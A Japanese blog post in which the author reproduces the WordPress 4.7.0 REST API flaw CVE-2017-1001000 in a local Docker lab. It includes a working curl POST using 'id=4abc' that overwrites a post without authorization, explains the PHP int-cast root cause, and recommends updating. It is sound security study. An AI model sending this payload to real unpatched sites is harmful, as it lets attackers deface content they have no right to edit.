よーでんのブログ

One for All,All for わんわんお!

WordPress 4.7.0でCVE-2017-1001000を再現してみる

CVE-2017-1001000

授業でCVE-2017-1001000の存在を知ったので、書く。

↓参考

WordPress 4.7.0-4.7.1 - Unauthenticated Page/Post Content Modification via REST API

編集権限のない投稿を編集できてしまうらしい。
「ほぇ~」ってなったのでローカルで検証してみる

環境構築

y0d3n.hatenablog.com

過去と同じように、docker-composeにWordPressをシュッとしてもらう。
今回は4.7.0-4.7.1と書いてあるので、4.7.0を指定する

version: '3'

services:
   db:
     image: mysql:5.7
     environment:
       MYSQL_ROOT_PASSWORD: wordpress
       MYSQL_DATABASE: wordpress
       MYSQL_USER: wordpress
       MYSQL_PASSWORD: wordpress

   wordpress:
     depends_on:
       - db
     image: wordpress:4.7.0
     ports:
       - "8000:80"
     environment:
       WORDPRESS_DB_HOST: db:3306
       WORDPRESS_DB_PASSWORD: wordpress
volumes:
    db_data:

↑をdocker-compose.ymlとして保存したらdocker-compose up
しばらく待てば http://localhost:8000WordPressの管理画面が開ける。
言語やサイトのタイトルなどをよしなに登録する。

デフォルトだとREST APIが無効になっているらしい。
設定 > パーマリンク設定 > 共通設定 を基本以外にするといいっぽいので、日付と投稿名にした。

f:id:y0d3n:20210612135750p:plain
REST setting

適当な投稿をしたら準備完了。

f:id:y0d3n:20210612140027p:plain
日記

hack

投稿を開いたときのURLは http://localhost:8000/?p=4 。投稿のIDは4だとわかる。
http://localhost:8000/wp-json/wp/v2/posts/4 にアクセスすると、自分の投稿がjsonで返ってくる。

f:id:y0d3n:20210612140552p:plain
json(4)

ここでURLにid=1というクエリを追加してみる。

http://localhost:8000/wp-json/wp/v2/posts/4?id=1

f:id:y0d3n:20210612140630p:plain
json(1)

投稿id1のhello-worldjsonが返ってきた。
URLのパスで指定された4より、クエリ指定した1が優先されていることがわかる。

そしてここで、CVE-2017-1001000の重要なポイントがでてくる。
idを4abcなどの数字+文字にしてみる。

http://localhost:8000/wp-json/wp/v2/posts/4?id=4abc

f:id:y0d3n:20210612142727p:plain
json(4abc)

id=4の投稿が返ってきた。

ここに{"content": "hogehoge"} みたいなことをPOSTすると投稿が上書きできるらしい。

curl -X POST -H "Content-Type: application/json" -d '{"content": "hacked by y0d3n"}' http://localhost:8000/wp-json/wp/v2/posts/4/?id=4abc

f:id:y0d3n:20210612142445p:plain
curl(4abc)

いろいろjsonで返ってきた。投稿をみてみると、日記の内容がhacked by y0d3nになっている。

f:id:y0d3n:20210612142833p:plain
hacked by y0d3n

試しにid=4にPOSTしてみたら、権限がないと言われた。

f:id:y0d3n:20210612142526p:plain
curl(4)

\u3053\u306E\u6295\u7A3F\u3092\u7DE8\u96C6\u3059\u308B\u6A29\u9650\u304C\u3042\u308A\u307E\u305B\u3093\u3002
この投稿を編集する権限がありません。

原因

/var/www/html/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.phpの589行目にupdate_item_permissions_checkという関数がある。

<?php
:
public function update_item_permissions_check( $request ) {

    $post = get_post( $request['id'] );
    $post_type = get_post_type_object( $this->post_type );
   
    if ( $post && ! $this->check_update_permission( $post ) ) {
        return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
    }

    if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
        return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
    }

    if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
        return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
    }

    if ( ! $this->check_assign_terms_permission( $request ) ) {
        return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
    }

    return true;
}
:

編集権限がない投稿を編集しようとした際はSorry, you are not allowed to edit this post.といったエラーを返すが、存在しない投稿を編集しようとした際はtrueが返ってしまう。

その後、同ファイル622行目にupdate_itemという関数があり、そこでidがintにキャストされる。

<?php
:
public function update_item( $request ) {
    $id   = (int) $request['id'];
:

ここで重要なのが、PHPでは"4abc"をintにキャストすると4になってしまうということ。

f:id:y0d3n:20210612133911p:plain
(int)"4abc"

update_item_permissions_check4abcなんてないじゃん!権限チェックしないよ!」
update_item4abc?intにしたら4じゃん!」

そんなこんなで、id=4abcに向けてPOSTすると編集されてしまう。

対応・対策

管理画面にアクセスするとアップデートの通知があるので、おとなしく更新しましょう。

更新後、再度POSTしてみたらしっかりと対策されていました。

f:id:y0d3n:20210612144221p:plain
updated

\u7121\u52b9\u306a\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc
無効なパラメーター
id \u306f integer \u30bf\u30a4\u30d7\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002
idはintegerタイプではありません。